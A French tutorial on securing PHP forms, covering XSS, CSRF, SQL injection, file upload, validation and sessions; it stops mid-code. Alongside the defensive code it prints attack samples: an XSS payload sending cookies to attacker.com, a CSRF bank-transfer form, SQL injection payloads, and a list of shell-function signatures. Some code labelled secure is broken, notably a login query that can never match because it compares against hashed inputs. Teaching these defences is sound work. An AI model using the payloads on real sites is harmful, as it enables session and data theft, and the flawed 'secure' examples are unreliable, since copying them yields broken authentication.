Sécurité Web

Sécurisation Formulaires

Maîtrisez toutes les vulnérabilités des formulaires web et apprenez à créer des applications PHP ultra-sécurisées contre les attaques les plus courantes.

🛡️ Protection XSS
🔒 Anti CSRF
💉 SQL Injection
📁 Upload Sécurisé

XSS - Cross-Site Scripting

L'une des vulnérabilités les plus courantes : injection de code JavaScript malveillant dans les pages web.

⚠️ Vulnérabilité XSS : Comment ça fonctionne

Code VULNÉRABLE :

// ❌ CODE DANGEREUX - NE JAMAIS FAIRE
<?php
// Affichage direct sans protection
$nom = $_POST['nom'] ?? '';
echo "Bonjour " . $nom; // VULNÉRABLE !
?>
<!-- Dans le formulaire -->
<input type="text" name="nom"
value="<?= $nom ?>"> <!-- VULNÉRABLE ! -->
💀 Payload d'attaque XSS :
<script>alert('XSS!')</script>
<img src=x onerror=alert('XSS')>
javascript:alert('XSS')
"><script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>

Code SÉCURISÉ :

// ✅ CODE SÉCURISÉ
<?php
// Fonction de protection XSS
function protegerXSS($texte) {
return htmlspecialchars(
$texte,
ENT_QUOTES | ENT_HTML5,
'UTF-8'
);
}
$nom = $_POST['nom'] ?? '';
$nom_securise = protegerXSS($nom);
echo "Bonjour " . $nom_securise; // SÉCURISÉ !
?>
<!-- Dans le formulaire -->
<input type="text" name="nom"
value="<?= protegerXSS($nom) ?>">
🛡️ Protection complète :
  • • htmlspecialchars() avec ENT_QUOTES
  • • Content Security Policy (CSP)
  • • Validation stricte des entrées
  • • Escape avant CHAQUE affichage

🎯 Types d'Attaques XSS

1 XSS Réfléchi

Payload XSS renvoyé immédiatement dans la réponse, souvent via URL.

// URL malveillante
site.com/search.php?q=<script>alert('XSS')</script>

2 XSS Stocké

Payload stocké en base, exécuté à chaque affichage. Plus dangereux.

// Commentaire malveillant
<script>fetch('/admin/delete-all')</script>

3 XSS DOM

Manipulation DOM côté client via JavaScript vulnérable.

// JS vulnérable
document.innerHTML = user_input;

CSRF - Cross-Site Request Forgery

Attaque qui force un utilisateur authentifié à exécuter des actions non désirées.

🎭 Principe et Protection CSRF

Code VULNÉRABLE :

// ❌ VULNÉRABLE CSRF
<?php
// Pas de vérification d'origine
if ($_POST['action'] === 'delete_account') {
// Supprime le compte sans vérification !
deleteUserAccount($user_id);
}
?>
<!-- Formulaire vulnérable -->
<form method="POST">
<input type="hidden" name="action"
value="delete_account">
<button type="submit">Supprimer</button>
</form>
💀 Attaque CSRF possible :
<!-- Sur site malveillant -->
<form action="http://banque.com/transfer" method="POST">
<input name="to" value="attacker_account">
<input name="amount" value="10000">
</form>
<script>document.forms[0].submit();</script>

Code SÉCURISÉ :

// ✅ PROTECTION CSRF COMPLÈTE
<?php
session_start();
// Génération token CSRF
function genererTokenCSRF() {
if (!isset($_SESSION['csrf_token'])) {
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}
return $_SESSION['csrf_token'];
}
// Vérification token CSRF
function verifierCSRF($token) {
return isset($_SESSION['csrf_token']) &&
hash_equals($_SESSION['csrf_token'], $token);
}
if ($_POST['action'] === 'delete_account') {
// Vérification CSRF obligatoire
if (!verifierCSRF($_POST['csrf_token'])) {
die('Token CSRF invalide !');
}
deleteUserAccount($user_id);
}
?>

Injection SQL

L'une des attaques les plus dévastatrices : manipulation des requêtes de base de données.

💉 Injection SQL : Vulnérabilité et Protection

Code VULNÉRABLE :

// ❌ INJECTION SQL POSSIBLE
<?php
$email = $_POST['email'];
$password = $_POST['password'];
// DANGEREUX : Concaténation directe
$sql = "SELECT * FROM users WHERE ";
$sql .= "email = '" . $email . "' AND ";
$sql .= "password = '" . $password . "'";
$result = mysqli_query($conn, $sql);
?>
💀 Payloads d'attaque SQL :
// Bypass authentification
email: admin' --
password: anything
// Extraction données
' UNION SELECT password,email FROM users --
// Suppression table
'; DROP TABLE users; --

Code SÉCURISÉ :

// ✅ REQUÊTES PRÉPARÉES
<?php
$email = $_POST['email'] ?? '';
$password = $_POST['password'] ?? '';
// SÉCURISÉ : Requête préparée
$sql = "SELECT id, email, password FROM users ";
$sql .= "WHERE email = ? AND password = ?";
$stmt = $pdo->prepare($sql);
$stmt->execute([
hash('sha256', $email),
password_hash($password, PASSWORD_DEFAULT)
]);
$user = $stmt->fetch(PDO::FETCH_ASSOC);
// Vérification password
if ($user && password_verify($password, $user['password'])) {
// Authentification réussie
}
?>
🛡️ Protections SQL :
  • • Requêtes préparées (PDO/MySQLi)
  • • Validation stricte des entrées
  • • Échappement des caractères spéciaux
  • • Principe du moindre privilège (BDD)
  • • Whitelist pour les noms de tables/colonnes

Upload de Fichiers Sécurisé

L'upload de fichiers peut permettre l'exécution de code malveillant. Voici comment se protéger.

📁 Upload Sécurisé - Toutes les Validations

<?php
/**
 * Upload de Fichiers Ultra-Sécurisé
 * Protection contre : shells, virus, bombes, injections, etc.
 */

class UploadSecurise {
    
    private $extensions_autorisees = [
        'jpg' => 'image/jpeg',
        'jpeg' => 'image/jpeg', 
        'png' => 'image/png',
        'gif' => 'image/gif',
        'pdf' => 'application/pdf',
        'txt' => 'text/plain'
    ];
    
    private $taille_max = 5 * 1024 * 1024; // 5MB
    private $dossier_upload = 'uploads/';
    private $dossier_quarantaine = 'quarantine/';
    
    public function __construct() {
        // Créer dossiers si nécessaire
        if (!is_dir($this->dossier_upload)) {
            mkdir($this->dossier_upload, 0755, true);
            file_put_contents($this->dossier_upload . '.htaccess', 'php_flag engine off');
        }
        if (!is_dir($this->dossier_quarantaine)) {
            mkdir($this->dossier_quarantaine, 0700, true);
        }
    }
    
    public function uploadFichier($fichier) {
        $erreurs = [];
        
        // 1. VÉRIFICATIONS DE BASE
        if (!isset($fichier) || $fichier['error'] !== UPLOAD_ERR_OK) {
            $erreurs[] = "Erreur d'upload : " . $this->getErrorMessage($fichier['error']);
            return ['success' => false, 'erreurs' => $erreurs];
        }
        
        $nom_original = $fichier['name'];
        $nom_temp = $fichier['tmp_name'];
        $taille = $fichier['size'];
        $type_mime = $fichier['type'];
        
        // 2. VALIDATION TAILLE
        if ($taille > $this->taille_max) {
            $erreurs[] = "Fichier trop volumineux. Maximum : " . ($this->taille_max / 1024 / 1024) . " MB";
        }
        
        if ($taille < 10) {
            $erreurs[] = "Fichier trop petit (possiblement corrompu)";
        }
        
        // 3. VALIDATION EXTENSION
        $extension = strtolower(pathinfo($nom_original, PATHINFO_EXTENSION));
        if (!array_key_exists($extension, $this->extensions_autorisees)) {
            $erreurs[] = "Extension non autorisée. Autorisées : " . implode(', ', array_keys($this->extensions_autorisees));
        }
        
        // 4. VALIDATION MIME TYPE (Double vérification)
        $mime_reel = mime_content_type($nom_temp);
        $mime_attendu = $this->extensions_autorisees[$extension];
        
        if ($mime_reel !== $mime_attendu) {
            $erreurs[] = "Type MIME invalide. Attendu : $mime_attendu, reçu : $mime_reel";
        }
        
        // 5. VALIDATION NOM DE FICHIER
        if (!$this->validerNomFichier($nom_original)) {
            $erreurs[] = "Nom de fichier invalide (caractères dangereux détectés)";
        }
        
        // 6. SCAN ANTIVIRUS BASIQUE (Signature de fichiers malveillants)
        if ($this->detecterFichierMalveillant($nom_temp)) {
            $erreurs[] = "Fichier potentiellement malveillant détecté";
            
            // Déplacer en quarantaine
            $nom_quarantaine = uniqid('malware_') . '.' . $extension;
            move_uploaded_file($nom_temp, $this->dossier_quarantaine . $nom_quarantaine);
            
            // Logger l'incident
            error_log("FICHIER MALVEILLANT DÉTECTÉ: " . $_SERVER['REMOTE_ADDR'] . " - " . $nom_original);
        }
        
        // 7. VALIDATION IMAGE (si c'est une image)
        if (in_array($extension, ['jpg', 'jpeg', 'png', 'gif'])) {
            if (!$this->validerImage($nom_temp)) {
                $erreurs[] = "Image corrompue ou contient du code malveillant";
            }
        }
        
        // 8. PROTECTION CONTRE LES BOMBES DE DÉCOMPRESSION
        if (in_array($extension, ['zip', 'rar', 'tar', 'gz'])) {
            if ($this->detecterBombeDecompression($nom_temp)) {
                $erreurs[] = "Archive potentiellement dangereuse (bombe de décompression)";
            }
        }
        
        // Si erreurs, arrêter ici
        if (!empty($erreurs)) {
            return ['success' => false, 'erreurs' => $erreurs];
        }
        
        // 9. GÉNÉRATION NOM SÉCURISÉ
        $nouveau_nom = $this->genererNomSecurise($extension);
        $chemin_destination = $this->dossier_upload . $nouveau_nom;
        
        // 10. DÉPLACEMENT SÉCURISÉ
        if (move_uploaded_file($nom_temp, $chemin_destination)) {
            
            // 11. PERMISSIONS SÉCURISÉES
            chmod($chemin_destination, 0644);
            
            // 12. MÉTADONNÉES SÉCURISÉES
            $metadonnees = [
                'nom_original' => $this->nettoyer($nom_original),
                'nom_securise' => $nouveau_nom,
                'taille' => $taille,
                'extension' => $extension,
                'mime_type' => $mime_reel,
                'date_upload' => date('Y-m-d H:i:s'),
                'ip_utilisateur' => $_SERVER['REMOTE_ADDR'] ?? 'inconnue',
                'user_agent' => substr($_SERVER['HTTP_USER_AGENT'] ?? '', 0, 255)
            ];
            
            // 13. JOURNALISATION
            $this->journaliserUpload($metadonnees);
            
            return [
                'success' => true, 
                'fichier' => $nouveau_nom,
                'metadonnees' => $metadonnees
            ];
            
        } else {
            return ['success' => false, 'erreurs' => ['Impossible de déplacer le fichier']];
        }
    }
    
    private function validerNomFichier($nom) {
        // Caractères dangereux dans les noms de fichiers
        $caracteres_interdits = ['..', '/', '\\', ':', '*', '?', '"', '<', '>', '|', "\0"];
        
        foreach ($caracteres_interdits as $char) {
            if (strpos($nom, $char) !== false) {
                return false;
            }
        }
        
        // Vérifier noms de fichiers système Windows/Linux
        $noms_interdits = ['CON', 'PRN', 'AUX', 'NUL', 'COM1', 'LPT1', '.htaccess', '.htpasswd'];
        $nom_sans_ext = pathinfo($nom, PATHINFO_FILENAME);
        
        if (in_array(strtoupper($nom_sans_ext), $noms_interdits)) {
            return false;
        }
        
        return true;
    }
    
    private function detecterFichierMalveillant($chemin) {
        $contenu = file_get_contents($chemin, false, null, 0, 8192); // Lire début du fichier
        
        // Signatures de code malveillant
        $signatures_malveillantes = [
            '<?php',
            '<?=',
            '<script',
            'eval(',
            'exec(',
            'system(',
            'shell_exec(',
            'passthru(',
            'base64_decode(',
            'file_get_contents(',
            'fopen(',
            'curl_exec(',
            '\\x',
            '%3C%3F', // <? encodé
            'FromBase64String',
            'CreateObject'
        ];
        
        foreach ($signatures_malveillantes as $signature) {
            if (stripos($contenu, $signature) !== false) {
                return true;
            }
        }
        
        return false;
    }
    
    private function validerImage($chemin) {
        // Vérifier que c'est vraiment une image
        $info_image = getimagesize($chemin);
        if ($info_image === false) {
            return false;
        }
        
        // Vérifier dimensions raisonnables
        if ($info_image[0] > 10000 || $info_image[1] > 10000) {
            return false; // Image trop grande (possible attaque DoS)
        }
        
        // Lire début de l'image pour détecter du code
        $contenu_debut = file_get_contents($chemin, false, null, 0, 1024);
        
        // Chercher signatures de code dans l'image
        if (strpos($contenu_debut, '<?php') !== false || 
            strpos($contenu_debut, '<script') !== false) {
            return false;
        }
        
        return true;
    }
    
    private function detecterBombeDecompression($chemin) {
        // Cette fonction est simplifiée - en production, utilisez une vraie librairie
        $taille_fichier = filesize($chemin);
        
        // Ratio suspect : fichier très petit mais probablement très volumineux décompressé
        if ($taille_fichier < 1024 && $taille_fichier > 0) {
            // Heuristique simple : fichier zip de moins de 1KB suspect
            return true;
        }
        
        return false;
    }
    
    private function genererNomSecurise($extension) {
        return uniqid('upload_', true) . '_' . time() . '.' . $extension;
    }
    
    private function nettoyer($texte) {
        return htmlspecialchars(trim($texte), ENT_QUOTES, 'UTF-8');
    }
    
    private function getErrorMessage($code) {
        $messages = [
            UPLOAD_ERR_OK => 'Upload réussi',
            UPLOAD_ERR_INI_SIZE => 'Fichier trop volumineux (php.ini)',
            UPLOAD_ERR_FORM_SIZE => 'Fichier trop volumineux (formulaire)',
            UPLOAD_ERR_PARTIAL => 'Upload partiel',
            UPLOAD_ERR_NO_FILE => 'Aucun fichier',
            UPLOAD_ERR_NO_TMP_DIR => 'Dossier temporaire manquant',
            UPLOAD_ERR_CANT_WRITE => 'Impossible d\'écrire',
            UPLOAD_ERR_EXTENSION => 'Extension PHP bloque l\'upload'
        ];
        
        return $messages[$code] ?? 'Erreur inconnue';
    }
    
    private function journaliserUpload($metadonnees) {
        $log = date('Y-m-d H:i:s') . " - UPLOAD - " . json_encode($metadonnees) . "\n";
        file_put_contents('upload_logs.txt', $log, FILE_APPEND | LOCK_EX);
    }
}

// UTILISATION
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['fichier'])) {
    $uploader = new UploadSecurise();
    $resultat = $uploader->uploadFichier($_FILES['fichier']);
    
    if ($resultat['success']) {
        echo "✅ Upload réussi : " . $resultat['fichier'];
    } else {
        echo "❌ Erreurs : " . implode(', ', $resultat['erreurs']);
    }
}
?>

<!-- FORMULAIRE HTML SÉCURISÉ -->
<form method="POST" enctype="multipart/form-data">
    <input type="hidden" name="MAX_FILE_SIZE" value="5242880"> <!-- 5MB -->
    <input type="file" name="fichier" accept=".jpg,.jpeg,.png,.gif,.pdf,.txt" required>
    <button type="submit">Upload Sécurisé</button>
</form>

Validation Avancée des Données

Une validation rigoureuse est la première ligne de défense contre toutes les attaques.

Classe de Validation Complète

<?php
/**
 * Classe de Validation Ultra-Sécurisée
 * Protection contre injections, XSS, et données malformées
 */

class ValidateurSecurise {
    
    private $erreurs = [];
    private $donnees_nettoyees = [];
    
    // NETTOYAGE GÉNÉRAL
    public function nettoyer($valeur) {
        if (is_array($valeur)) {
            return array_map([$this, 'nettoyer'], $valeur);
        }
        
        // Supprimer espaces, slashes, null bytes
        $valeur = trim($valeur);
        $valeur = stripslashes($valeur);
        $valeur = str_replace("\0", '', $valeur);
        
        return $valeur;
    }
    
    // PROTECTION XSS
    public function protegerXSS($valeur) {
        return htmlspecialchars($valeur, ENT_QUOTES | ENT_HTML5, 'UTF-8');
    }
    
    // VALIDATION EMAIL ULTRA-STRICTE
    public function validerEmail($email, $obligatoire = true) {
        $email = $this->nettoyer($email);
        
        if (empty($email)) {
            if ($obligatoire) {
                $this->erreurs[] = "Email obligatoire";
            }
            return false;
        }
        
        // Longueur maximale
        if (strlen($email) > 254) {
            $this->erreurs[] = "Email trop long (max 254 caractères)";
            return false;
        }
        
        // Validation PHP native
        if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
            $this->erreurs[] = "Format email invalide";
            return false;
        }
        
        // Validation regex stricte
        $pattern = '/^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$/';
        if (!preg_match($pattern, $email)) {
            $this->erreurs[] = "Email contient des caractères non autorisés";
            return false;
        }
        
        // Vérifier domaine
        $domaine = substr(strrchr($email, "@"), 1);
        if (!$this->validerDomaine($domaine)) {
            $this->erreurs[] = "Domaine email invalide";
            return false;
        }
        
        // Blacklist domaines temporaires
        $domaines_temporaires = ['10minutemail.com', 'temp-mail.org', 'guerrillamail.com'];
        if (in_array($domaine, $domaines_temporaires)) {
            $this->erreurs[] = "Domaines temporaires non autorisés";
            return false;
        }
        
        $this->donnees_nettoyees['email'] = strtolower($email);
        return true;
    }
    
    // VALIDATION MOT DE PASSE SÉCURISÉ
    public function validerMotDePasse($password, $confirmation = null) {
        if (empty($password)) {
            $this->erreurs[] = "Mot de passe obligatoire";
            return false;
        }
        
        // Longueur minimale
        if (strlen($password) < 12) {
            $this->erreurs[] = "Mot de passe trop court (minimum 12 caractères)";
        }
        
        // Longueur maximale (protection DoS)
        if (strlen($password) > 128) {
            $this->erreurs[] = "Mot de passe trop long (maximum 128 caractères)";
        }
        
        // Complexité
        $criteres = 0;
        if (preg_match('/[a-z]/', $password)) $criteres++; // Minuscule
        if (preg_match('/[A-Z]/', $password)) $criteres++; // Majuscule
        if (preg_match('/[0-9]/', $password)) $criteres++; // Chiffre
        if (preg_match('/[^a-zA-Z0-9]/', $password)) $criteres++; // Spécial
        
        if ($criteres < 3) {
            $this->erreurs[] = "Mot de passe pas assez complexe (3 types de caractères requis)";
        }
        
        // Mots de passe communs
        $mots_interdits = ['password', '123456', 'azerty', 'admin', 'root', 'user'];
        if (in_array(strtolower($password), $mots_interdits)) {
            $this->erreurs[] = "Mot de passe trop commun";
        }
        
        // Confirmation
        if ($confirmation !== null && $password !== $confirmation) {
            $this->erreurs[] = "Confirmation mot de passe différente";
        }
        
        return empty($this->erreurs);
    }
    
    // VALIDATION NOM/PRÉNOM
    public function validerNom($nom, $champ = 'nom') {
        $nom = $this->nettoyer($nom);
        
        if (empty($nom)) {
            $this->erreurs[] = ucfirst($champ) . " obligatoire";
            return false;
        }
        
        // Longueur
        if (strlen($nom) < 2 || strlen($nom) > 50) {
            $this->erreurs[] = ucfirst($champ) . " doit contenir 2-50 caractères";
        }
        
        // Caractères autorisés (lettres, espaces, apostrophes, traits d'union)
        if (!preg_match('/^[a-zA-ZÀ-ÿ\s\'-]+$/u', $nom)) {
            $this->erreurs[] = ucfirst($champ) . " contient des caractères non autorisés";
        }
        
        // Pas que des espaces
        if (trim($nom) === '') {
            $this->erreurs[] = ucfirst($champ) . " ne peut pas être vide";
        }
        
        $this->donnees_nettoyees[$champ] = $this->protegerXSS($nom);
        return empty($this->erreurs);
    }
    
    // VALIDATION TÉLÉPHONE INTERNATIONAL
    public function validerTelephone($telephone, $obligatoire = false) {
        $telephone = $this->nettoyer($telephone);
        
        if (empty($telephone)) {
            if ($obligatoire) {
                $this->erreurs[] = "Téléphone obligatoire";
            }
            return !$obligatoire;
        }
        
        // Supprimer tous les caractères non numériques sauf +
        $tel_clean = preg_replace('/[^\d+]/', '', $telephone);
        
        // Validation format international
        $patterns = [
            '/^\+33[1-9]\d{8}$/',     // France
            '/^\+1\d{10}$/',          // US/Canada  
            '/^\+44\d{10,11}$/',      // UK
            '/^\+49\d{10,11}$/',      // Allemagne
            '/^\+[1-9]\d{7,14}$/'     // International générique
        ];
        
        $valide = false;
        foreach ($patterns as $pattern) {
            if (preg_match($pattern, $tel_clean)) {
                $valide = true;
                break;
            }
        }
        
        if (!$valide) {
            $this->erreurs[] = "Format téléphone invalide (format international requis)";
        }
        
        $this->donnees_nettoyees['telephone'] = $tel_clean;
        return $valide;
    }
    
    // VALIDATION MESSAGES/COMMENTAIRES
    public function validerMessage($message, $min = 10, $max = 1000) {
        $message = $this->nettoyer($message);
        
        if (empty($message)) {
            $this->erreurs[] = "Message obligatoire";
            return false;
        }
        
        $longueur = strlen($message);
        if ($longueur < $min || $longueur > $max) {
            $this->erreurs[] = "Message doit contenir $min-$max caractères";
        }
        
        // Détection spam basique
        if ($this->detecterSpam($message)) {
            $this->erreurs[] = "Message détecté comme spam";
        }
        
        $this->donnees_nettoyees['message'] = $this->protegerXSS($message);
        return empty($this->erreurs);
    }
    
    // VALIDATION DATE
    public function validerDate($date, $format = 'Y-m-d') {
        if (empty($date)) {
            $this->erreurs[] = "Date obligatoire";
            return false;
        }
        
        $date_obj = DateTime::createFromFormat($format, $date);
        
        if (!$date_obj || $date_obj->format($format) !== $date) {
            $this->erreurs[] = "Format de date invalide";
            return false;
        }
        
        // Vérifier plage raisonnable
        $maintenant = new DateTime();
        $min = new DateTime('1900-01-01');
        $max = new DateTime('+10 years');
        
        if ($date_obj < $min || $date_obj > $max) {
            $this->erreurs[] = "Date hors de la plage autorisée";
        }
        
        $this->donnees_nettoyees['date'] = $date;
        return empty($this->erreurs);
    }
    
    // VALIDATION URL
    public function validerURL($url, $obligatoire = false) {
        $url = $this->nettoyer($url);
        
        if (empty($url)) {
            if ($obligatoire) {
                $this->erreurs[] = "URL obligatoire";
            }
            return !$obligatoire;
        }
        
        if (!filter_var($url, FILTER_VALIDATE_URL)) {
            $this->erreurs[] = "Format URL invalide";
            return false;
        }
        
        // Vérifier protocoles autorisés
        $protocoles_autorises = ['http', 'https'];
        $protocole = parse_url($url, PHP_URL_SCHEME);
        
        if (!in_array($protocole, $protocoles_autorises)) {
            $this->erreurs[] = "Protocole URL non autorisé";
        }
        
        $this->donnees_nettoyees['url'] = $url;
        return empty($this->erreurs);
    }
    
    // DÉTECTION SPAM BASIQUE
    private function detecterSpam($texte) {
        $mots_spam = ['viagra', 'casino', 'lottery', 'winner', 'click here', 'free money'];
        $texte_lower = strtolower($texte);
        
        foreach ($mots_spam as $mot) {
            if (strpos($texte_lower, $mot) !== false) {
                return true;
            }
        }
        
        // Trop de liens
        if (substr_count($texte_lower, 'http') > 2) {
            return true;
        }
        
        // Trop de majuscules
        if (strlen(preg_replace('/[^A-Z]/', '', $texte)) > strlen($texte) * 0.5) {
            return true;
        }
        
        return false;
    }
    
    // VALIDATION DOMAINE
    private function validerDomaine($domaine) {
        if (empty($domaine)) return false;
        
        // Validation format
        if (!preg_match('/^[a-zA-Z0-9.-]+$/', $domaine)) {
            return false;
        }
        
        // Vérifier existence DNS (optionnel)
        return checkdnsrr($domaine, 'MX') || checkdnsrr($domaine, 'A');
    }
    
    // RÉCUPÉRER ERREURS
    public function getErreurs() {
        return $this->erreurs;
    }
    
    // RÉCUPÉRER DONNÉES NETTOYÉES
    public function getDonneesNettoyees() {
        return $this->donnees_nettoyees;
    }
    
    // RÉINITIALISER
    public function reset() {
        $this->erreurs = [];
        $this->donnees_nettoyees = [];
    }
}

// EXEMPLE D'UTILISATION
$validateur = new ValidateurSecurise();

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    
    // Validation complète du formulaire
    $validateur->validerNom($_POST['nom'] ?? '', 'nom');
    $validateur->validerNom($_POST['prenom'] ?? '', 'prenom');
    $validateur->validerEmail($_POST['email'] ?? '');
    $validateur->validerTelephone($_POST['telephone'] ?? '');
    $validateur->validerMessage($_POST['message'] ?? '');
    
    if (!empty($_POST['password'])) {
        $validateur->validerMotDePasse($_POST['password'], $_POST['password_confirm'] ?? null);
    }
    
    $erreurs = $validateur->getErreurs();
    
    if (empty($erreurs)) {
        $donnees = $validateur->getDonneesNettoyees();
        // Traitement sécurisé des données validées
        echo "✅ Formulaire validé avec succès !";
    } else {
        echo "❌ Erreurs : " . implode(', ', $erreurs);
    }
}
?>

Sécurité des Sessions

Protégez les sessions contre le vol, la fixation et le détournement.

🔐 Configuration de Session Ultra-Sécurisée

Configuration sécurisée :

<?php
// Configuration sécurisée de session
ini_set('session.cookie_httponly', 1);
ini_set('session.cookie_secure', 1);
ini_set('session.cookie_samesite', 'Strict');
ini_set('session.use_strict_mode', 1);
ini_set('session.regenerate_id', 1);
session_start();
// Régénération périodique de l'ID
if (!isset($_SESSION['created'])) {
$_SESSION['created'] = time();
} elseif (time() - $_SESSION['created'] > 1800) {
session_regenerate_id(true);
$_SESSION['created'] = time();
}
?>

Validation de session :

<?php
// Validation IP et User-Agent
function validerSession() {
// Vérifier IP
if (isset($_SESSION['ip'])) {
if ($_SESSION['ip'] !== $_SERVER['REMOTE_ADDR']) {
session_destroy();
return false;
}
} else {
$_SESSION['ip'] = $_SERVER['REMOTE_ADDR'];
}
// Vérifier User-Agent
$user_agent = $_SERVER['HTTP_USER_AGENT'] ?? '';
if (isset($_SESSION['user_agent'])) {
if ($_SESSION['user_agent'] !== $user_agent) {
session_destroy();
return false;
}
} else {
$_SESSION['user_agent'] = $user_agent;
}
return true;
}
?>

Formulaire Ultra-Sécurisé Complet

Un exemple de formulaire intégrant toutes les protections de sécurité vues précédemment.

🛡️ Formulaire de Contact Ultra-Sécurisé

🎯 Sécurisations intégrées :

  • • Protection XSS complète
  • • Tokens CSRF
  • • Validation stricte des données
  • • Upload de fichiers sécurisé
  • • Rate limiting (brute force)
  • • Sessions sécurisées
  • • Journalisation des tentatives
  • • Détection de spam
  • • Honeypot anti-bot
  • • Content Security Policy
<?php
/**
 * FORMULAIRE ULTRA-SÉCURISÉ
 * Intègre TOUTES les protections de sécurité
 */

session_start();

// Configuration sécurisée
ini_set('session.cookie_httponly', 1);
ini_set('session.cookie_secure', 1);
ini_set('session.cookie_samesite', 'Strict');

// Classes de sécurité (inclure les classes précédentes)
require_once 'ValidateurSecurise.php';
require_once 'UploadSecurise.php';

class FormulaireSuperSecurise {
    
    private $validateur;
    private $uploader;
    private $max_tentatives = 5;
    private $delai_tentatives = 300; // 5 minutes
    
    public function __construct() {
        $this->validateur = new ValidateurSecurise();
        $this->uploader = new UploadSecurise();
        
        // CSP Header
        header("Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'");
        
        // Autres headers de sécurité
        header("X-Frame-Options: DENY");
        header("X-Content-Type-Options: nosniff");
        header("X-XSS-Protection: 1; mode=block");
        header("Referrer-Policy: strict-origin-when-cross-origin");
    }
    
    public function traiterFormulaire() {
        // 1. VÉRIFICATION MÉTHODE
        if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
            return $this->erreur("Méthode non autorisée");
        }
        
        // 2. RATE LIMITING
        if (!$this->verifierRateLimit()) {
            return $this->erreur("Trop de tentatives. Réessayez plus tard.");
        }
        
        // 3. HONEYPOT (piège à bots)
        if (!empty($_POST['website'])) {
            $this->journaliser("BOT_DETECTE", $_SERVER['REMOTE_ADDR']);
            return $this->erreur("Formulaire invalide");
        }
        
        // 4. VÉRIFICATION CSRF
        if (!$this->verifierCSRF($_POST['csrf_token'] ?? '')) {
            return $this->erreur("Token CSRF invalide");
        }
        
        // 5. VALIDATION SESSION
        if (!$this->validerSession()) {
            return $this->erreur("Session invalide");
        }
        
        // 6. VALIDATION CAPTCHA (si implémenté)
        if (!$this->verifierCaptcha($_POST['captcha'] ?? '')) {
            return $this->erreur("Captcha invalide");
        }
        
        // 7. VALIDATION COMPLÈTE DES DONNÉES
        $this->validateur->reset();
        
        $this->validateur->validerNom($_POST['nom'] ?? '', 'nom');
        $this->validateur->validerNom($_POST['prenom'] ?? '', 'prenom');
        $this->validateur->validerEmail($_POST['email'] ?? '');
        $this->validateur->validerTelephone($_POST['telephone'] ?? '');
        $this->validateur->validerMessage($_POST['message'] ?? '');
        
        $erreurs = $this->validateur->getErreurs();
        if (!empty($erreurs)) {
            return $this->erreur("Données invalides: " . implode(', ', $erreurs));
        }
        
        // 8. UPLOAD SÉCURISÉ (si fichier)
        $fichier_uploade = null;
        if (isset($_FILES['piece_jointe']) && $_FILES['piece_jointe']['error'] === UPLOAD_ERR_OK) {
            $resultat_upload = $this->uploader->uploadFichier($_FILES['piece_jointe']);
            if (!$resultat_upload['success']) {
                return $this->erreur("Upload échoué: " . implode(', ', $resultat_upload['erreurs']));
            }
            $fichier_uploade = $resultat_upload['fichier'];
        }
        
        // 9. SAUVEGARDE SÉCURISÉE
        $donnees = $this->validateur->getDonneesNettoyees();
        $donnees['fichier'] = $fichier_uploade;
        $donnees['ip'] = $_SERVER['REMOTE_ADDR'];
        $donnees['user_agent'] = substr($_SERVER['HTTP_USER_AGENT'] ?? '', 0, 255);
        $donnees['timestamp'] = time();
        
        if ($this->sauvegarderContact($donnees)) {
            
            // 10. NETTOYAGE ET SÉCURITÉ POST-TRAITEMENT
            $this->resetRateLimit(); // Reset compteur en cas de succès
            $this->regenererCSRF();
            
            // 11. JOURNALISATION
            $this->journaliser("CONTACT_ENVOYE", $donnees['email']);
            
            return $this->succes("Message envoyé avec succès !");
            
        } else {
            return $this->erreur("Erreur lors de la sauvegarde");
        }
    }
    
    private function verifierRateLimit() {
        $ip = $_SERVER['REMOTE_ADDR'];
        $cle = "rate_limit_$ip";
        
        if (!isset($_SESSION[$cle])) {
            $_SESSION[$cle] = ['count' => 0, 'time' => time()];
        }
        
        $data = $_SESSION[$cle];
        
        // Reset si délai écoulé
        if (time() - $data['time'] > $this->delai_tentatives) {
            $_SESSION[$cle] = ['count' => 1, 'time' => time()];
            return true;
        }
        
        // Vérifier limite
        if ($data['count'] >= $this->max_tentatives) {
            return false;
        }
        
        $_SESSION[$cle]['count']++;
        return true;
    }
    
    private function resetRateLimit() {
        $ip = $_SERVER['REMOTE_ADDR'];
        unset($_SESSION["rate_limit_$ip"]);
    }
    
    private function verifierCSRF($token) {
        return isset($_SESSION['csrf_token']) && 
               hash_equals($_SESSION['csrf_token'], $token);
    }
    
    private function regenererCSRF() {
        $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
    }
    
    private function genererCSRF() {
        if (!isset($_SESSION['csrf_token'])) {
            $this->regenererCSRF();
        }
        return $_SESSION['csrf_token'];
    }
    
    private function validerSession() {
        // Vérifier IP
        if (isset($_SESSION['ip'])) {
            if ($_SESSION['ip'] !== $_SERVER['REMOTE_ADDR']) {
                session_destroy();
                return false;
            }
        } else {
            $_SESSION['ip'] = $_SERVER['REMOTE_ADDR'];
        }
        
        // Régénération périodique
        if (!isset($_SESSION['created'])) {
            $_SESSION['created'] = time();
        } elseif (time() - $_SESSION['created'] > 1800) {
            session_regenerate_id(true);
            $_SESSION['created'] = time();
        }
        
        return true;
    }
    
    private function verifierCaptcha($reponse) {
        // Implémentation simple - en production, utilisez reCAPTCHA
        return isset($_SESSION['captcha']) && 
               strtolower($reponse) === strtolower($_SESSION['captcha']);
    }
    
    private function genererCaptcha() {
        $operations = [
            ['question' => 'Combien font 5 + 3 ?', 'reponse' => '8'],
            ['question' => 'Combien font 10 - 4 ?', 'reponse' => '6'],
            ['question' => 'Combien font 2 x 4 ?', 'reponse' => '8'],
            ['question' => 'Quelle est la couleur du ciel ?', 'reponse' => 'bleu']
        ];
        
        $operation = $operations[array_rand($operations)];
        $_SESSION['captcha'] = $operation['reponse'];
        
        return $operation['question'];
    }
    
    private function sauvegarderContact($donnees) {
        // Utiliser PDO avec requêtes préparées
        try {
            $pdo = new PDO('sqlite:contacts_securises.db');
            $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
            
            // Créer table si nécessaire
